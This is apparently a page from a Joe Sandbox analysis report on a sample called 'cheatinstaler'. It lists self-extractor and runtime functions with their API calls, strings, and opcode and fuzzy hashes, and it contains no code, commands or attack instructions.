Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: .rar$exe$rar$sfx
API String ID: 3668304517-630704357
Opcode ID: 2fc35cbdd70ebaba8229e08f8487c40f3259a53efddd90ef8447a9b59f22dcea
Instruction ID: c24581aa3c15cfb5bcf7c059f599a1cbcae58582ec510f7a02bd67cdd243819a
Opcode Fuzzy Hash: 2fc35cbdd70ebaba8229e08f8487c40f3259a53efddd90ef8447a9b59f22dcea
Instruction Fuzzy Hash: 6CA1D422A14A0644EF00AF6BD8652BC6361BF50B99F405235DEDD877E5DF3CE591E380

Function 00007FF6C16E5CE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF6C16E5D58

Part of subcall function 00007FF6C16E5210: abort.LIBCMT ref: 00007FF6C16E5223

_CallSETranslator.LIBVCRUNTIME ref: 00007FF6C16E5DA3
abort.LIBCMT ref: 00007FF6C16E5FD1

Strings

RCC, xrefs: 00007FF6C16E5D74
MOC, xrefs: 00007FF6C16E5D6C

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: abort$CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 2889003569-2084237596
Opcode ID: 0f4c2d06ef2d655583c55900dbb020dcf620b12558a4295111afe460be181df6
Instruction ID: 00440f84cfcb17866d892305629807a04d5cd80ae669b0eeaa3fed45c2fe73a7
Opcode Fuzzy Hash: 0f4c2d06ef2d655583c55900dbb020dcf620b12558a4295111afe460be181df6
Instruction Fuzzy Hash: 2491C177A08B85CAE750CF66D8402AD7BA0FB04789F104229EECC87759DF38D295DB40

Function 00007FF6C16E4F80 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6C16E4FAB
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF6C16E5040
RtlUnwindEx.KERNEL32(?,?,?,?,?,?,?,00007FF6C16E2F5E), ref: 00007FF6C16E508F

Strings

f, xrefs: 00007FF6C16E4FBE
csm, xrefs: 00007FF6C16E5026

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: a7c39da158025e753bf36dfb1e051fd0b17def11f5f8def40396cbfe1c046983
Instruction ID: 754fac1f9d851ca5a9c4d66d64506e0c9240664bb340aac2450e25d39075f6c7
Opcode Fuzzy Hash: a7c39da158025e753bf36dfb1e051fd0b17def11f5f8def40396cbfe1c046983
Instruction Fuzzy Hash: D051B536A19602C6DB14CF17EC44A693795FF40B8AF518234EADE87748DF78EA41E780

Function 00007FF6C16BCEE0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 139COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6C16BD03D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16BD0D1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16BD0D7

Part of subcall function 00007FF6C16BDE04: GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6C16BCF4B), ref: 00007FF6C16BDE27
Part of subcall function 00007FF6C16BDE04: GetLastError.KERNEL32 ref: 00007FF6C16BDE88
Part of subcall function 00007FF6C16BDE04: CloseHandle.KERNEL32 ref: 00007FF6C16BDE9B

Strings

SeSecurityPrivilege, xrefs: 00007FF6C16BCF3F
SeRestorePrivilege, xrefs: 00007FF6C16BCF5E

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: ErrorLast_invalid_parameter_noinfo_noreturn$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 2102711378-639343689
Opcode ID: 6c1d5a5d5395298d9d74f6f4ee4569930d238c95dd33962f37e3fdaa32d53d1a
Instruction ID: 6765a49aaaec8713726db9a4a1f49bafd633fdbe4504fa5333daa1d654bcb508
Opcode Fuzzy Hash: 6c1d5a5d5395298d9d74f6f4ee4569930d238c95dd33962f37e3fdaa32d53d1a
Instruction Fuzzy Hash: 9751F062F0874285FB00DF66D8612BD23A1AF847EAF100135EEDD97696DE3CE586E240

Function 00007FF6C16D7B28 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

ShowWindow.USER32 ref: 00007FF6C16D7B6F
GetWindowRect.USER32 ref: 00007FF6C16D7BC0
ShowWindow.USER32 ref: 00007FF6C16D7C96
ShowWindow.USER32 ref: 00007FF6C16D7CC3

Strings

RarHtmlClassName, xrefs: 00007FF6C16D7C4B

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: Window$Show$Rect
String ID: RarHtmlClassName
API String ID: 2396740005-1658105358
Opcode ID: 95333b9ad2bfddc98b100d65ee3ae7a1141886215ecc40d0d40dcbf9cb340d19
Instruction ID: b62f9620e28d43fc47305f3c5a80846b9a795203266579c16d787e2d2fb64e2f
Opcode Fuzzy Hash: 95333b9ad2bfddc98b100d65ee3ae7a1141886215ecc40d0d40dcbf9cb340d19
Instruction Fuzzy Hash: 25517132A08B828AEB25DF27E45437AA3A0FF85785F244535DACE87B55DF3CE0459700

Function 00007FF6C16DFED4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 52COMMON

Download Yara Rule

Strings

RENAMEDLG, xrefs: 00007FF6C16DFF60
REPLACEFILEDLG, xrefs: 00007FF6C16DFF34, 00007FF6C16DFF99

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 98f895654b64cd1d2f90e97d30244ed9b67d31cc2014a88c355cd353264df31a
Instruction ID: 05f172dbac91d1a87e77ba9f7ccabc91d8683c856310efb81b067383c3231d0c
Opcode Fuzzy Hash: 98f895654b64cd1d2f90e97d30244ed9b67d31cc2014a88c355cd353264df31a
Instruction Fuzzy Hash: 7321F82590CB4B80FB109F1BF85417463A1AB49B8AF7404B6D9CDC7365DE3CE189E350

Function 00007FF6C16EBFB0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF6C16EBFD0
GetProcAddress.KERNEL32 ref: 00007FF6C16EBFE6
FreeLibrary.KERNEL32 ref: 00007FF6C16EC00B

Strings

CorExitProcess, xrefs: 00007FF6C16EBFDF
mscoree.dll, xrefs: 00007FF6C16EBFC7

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 42a4ca90c7c49dddb16080121233970ff8583544d2054868cb5f0899d871e2db
Instruction ID: 2d2cc6e7420ebcc504d40281de4b75ca8647ac4a384d126f78546b49b797a0ff
Opcode Fuzzy Hash: 42a4ca90c7c49dddb16080121233970ff8583544d2054868cb5f0899d871e2db
Instruction Fuzzy Hash: 4AF06221B19A4281EF448F12F8443796760EF887DAF441135E9DF86764DE3DE598D700

Function 00007FF6C16F45C0 Relevance: 7.7, APIs: 5, Instructions: 203COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C16F4605

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: cf462e6f26ae3af6f96c078c51b53c82231ed120809331cf2f591469c69a5a17
Instruction ID: 04b3457528f83f650fac08e23248e8d37ee0d4a9ca4a98f70f1f83851ba5b124
Opcode Fuzzy Hash: cf462e6f26ae3af6f96c078c51b53c82231ed120809331cf2f591469c69a5a17
Instruction Fuzzy Hash: D881CB22F1865289F7209F6788807BD27A0BB45B8AF414135DEEE93B95CF3CE445E718

Function 00007FF6C16C3AF8 Relevance: 7.7, APIs: 5, Instructions: 164filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF6C16C3BBB
CreateFileW.KERNEL32 ref: 00007FF6C16C3C24
SetFileTime.KERNEL32 ref: 00007FF6C16C3CEC
CloseHandle.KERNEL32 ref: 00007FF6C16C3CF6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C3D2C

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: File$Create$CloseHandleTime_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2398171386-0
Opcode ID: 14fdea18fdcf977c61dce6ecaccc8aa35300d093acc7d7c713630260d7cb0aba
Instruction ID: 32a274c72c4f7ef2b3a3d6ed41834184f949448ae79f7d0ed61e469b44684998
Opcode Fuzzy Hash: 14fdea18fdcf977c61dce6ecaccc8aa35300d093acc7d7c713630260d7cb0aba
Instruction Fuzzy Hash: E151BF22B04A4259FF50AF66E8503BD23B1BB847A9F008635DEED877D4DF3895559300

Function 00007FF6C16F3F34 Relevance: 7.6, APIs: 5, Instructions: 142fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FF6C16F4767), ref: 00007FF6C16F3F91
WideCharToMultiByte.KERNEL32 ref: 00007FF6C16F406D
WriteFile.KERNEL32 ref: 00007FF6C16F4093
WriteFile.KERNEL32 ref: 00007FF6C16F40D2
GetLastError.KERNEL32 ref: 00007FF6C16F410A

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiWide
String ID:
API String ID: 3659116390-0
Opcode ID: 8f90b3f8899b92826fb288bc35eb601c263b89b4fb676f823db5d062d6f6b41f
Instruction ID: 65382b871cb024eb7156e60256aa71ede3b6b9a5c42cf00042b9f74b95dbfc69
Opcode Fuzzy Hash: 8f90b3f8899b92826fb288bc35eb601c263b89b4fb676f823db5d062d6f6b41f
Instruction Fuzzy Hash: BF51BB32B18A5189E710CF66E8403AC3BB5FB58B99F048235CEDA97B98DF38D156D704

Function 00007FF6C16E1E00 Relevance: 7.6, APIs: 5, Instructions: 137memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF6C16C4DF4), ref: 00007FF6C16E1E87
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF6C16C4DF4), ref: 00007FF6C16E1F09
SysAllocString.OLEAUT32 ref: 00007FF6C16E1F16

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: ByteCharMultiWide$AllocString
String ID:
API String ID: 262959230-0
Opcode ID: 55eea0222137253c860f73f771396d48486a61dcff80d6f5aaddb46a2ec13fc8
Instruction ID: da9cab897c44d6dbe6b2881ddf457a2de69e0d0d405e25a7ee3e4350ce3646fa
Opcode Fuzzy Hash: 55eea0222137253c860f73f771396d48486a61dcff80d6f5aaddb46a2ec13fc8
Instruction Fuzzy Hash: 8141C031A0964689EB149F2798403782295FF49BA6F184734EAEDC77D5DF3CE241A380

Function 00007FF6C16EF414 Relevance: 7.6, APIs: 5, Instructions: 114libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF6C16EF536

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: d8da239e760e4119be076ce5ae60c5d71a4e7276355522d8061e2664917ecd9d
Instruction ID: 9fae4d2e6e73e62ca95d342f8683911b4ea53ff9ce1c7066759552d39669aa73
Opcode Fuzzy Hash: d8da239e760e4119be076ce5ae60c5d71a4e7276355522d8061e2664917ecd9d
Instruction Fuzzy Hash: 9541E562B0AA4282FB158F13AC046756395BF68BD1F0946B5DDEDCB784EE3CE6409380

Function 00007FF6C16F56D8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6C16F56FF
_set_statfp.LIBCMT ref: 00007FF6C16F571A
_set_statfp.LIBCMT ref: 00007FF6C16F5736
_set_statfp.LIBCMT ref: 00007FF6C16F5772

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: f3bd3298a46f29c998dca386ec4adc9bd6d7efdfabb851da102e47160911a3a1
Instruction ID: 7712aff11f63a187887119a796ed80ad766ecd4d4c68f9f009ce104aa869c238
Opcode Fuzzy Hash: f3bd3298a46f29c998dca386ec4adc9bd6d7efdfabb851da102e47160911a3a1
Instruction Fuzzy Hash: DE11C136E5CB07C1F7548D2BE5463790941AF463A2F488230EAFE8A6D6CF2CAC40A205

Function 00007FF6C16DFE24 Relevance: 7.5, APIs: 5, Instructions: 29windowsynchronizationCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32 ref: 00007FF6C16DFE41
GetMessageW.USER32 ref: 00007FF6C16DFE58
TranslateMessage.USER32 ref: 00007FF6C16DFE63
DispatchMessageW.USER32 ref: 00007FF6C16DFE6E
WaitForSingleObject.KERNEL32 ref: 00007FF6C16DFE7C

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: Message$DispatchObjectPeekSingleTranslateWait
String ID:
API String ID: 3621893840-0
Opcode ID: eb57a341668d454e4e6cd52f39bb1811463ddcab187ea95c48cb89abc8d18535
Instruction ID: 4f349eaf067247f04ac74b0d11ddcd47729a72b777bb48a7cc8dddbfe7e898c8
Opcode Fuzzy Hash: eb57a341668d454e4e6cd52f39bb1811463ddcab187ea95c48cb89abc8d18535
Instruction Fuzzy Hash: C0F06221F3844692F7109F22E468B766211FFE4B06F641070E9CEC1995DE2CD149D710

Function 00007FF6C16E625C Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6C16E6286
abort.LIBCMT ref: 00007FF6C16E64EA

Strings

csm, xrefs: 00007FF6C16E62AB
csm, xrefs: 00007FF6C16E641A

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: __except_validate_context_recordabort
String ID: csm$csm
API String ID: 746414643-3733052814
Opcode ID: 91fc108a1c492767e4bb41002f60c2920875b1ec76e01922ab372504797a4c8e
Instruction ID: 5e8e6bf452e95f580aa9f24e3f171baa8166b7d0fc8950b8664b270b2a6a46af
Opcode Fuzzy Hash: 91fc108a1c492767e4bb41002f60c2920875b1ec76e01922ab372504797a4c8e
Instruction Fuzzy Hash: D571C372509681CAD7608F26D85077D7BA1EF01B9AF048235DACD87B85CF3CDA96D780

Function 00007FF6C16E80F4 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C16E811B
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C16E82ED

Strings

*, xrefs: 00007FF6C16E8221
, xrefs: 00007FF6C16E8276

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: $*
API String ID: 3215553584-3982473090
Opcode ID: 42643a1ee39b50d27a50b926b179a62c0cdc4d381fe14b17104e750277292b9f
Instruction ID: 81268014ddb24214cb1e7cb2ba4a109d038e9dde3bc131a2ec0a61c92c9c3eb8
Opcode Fuzzy Hash: 42643a1ee39b50d27a50b926b179a62c0cdc4d381fe14b17104e750277292b9f
Instruction Fuzzy Hash: 5E51757290CA428EE7648E2A884437C37A8FF15B0AF145335C6CA813D9DF2CD6A1E6C5

Function 00007FF6C16F1758 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF6C16F17CB
MultiByteToWideChar.KERNEL32 ref: 00007FF6C16F1894
GetStringTypeW.KERNEL32 ref: 00007FF6C16F18AE

Strings

$%s, xrefs: 00007FF6C16F175A

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
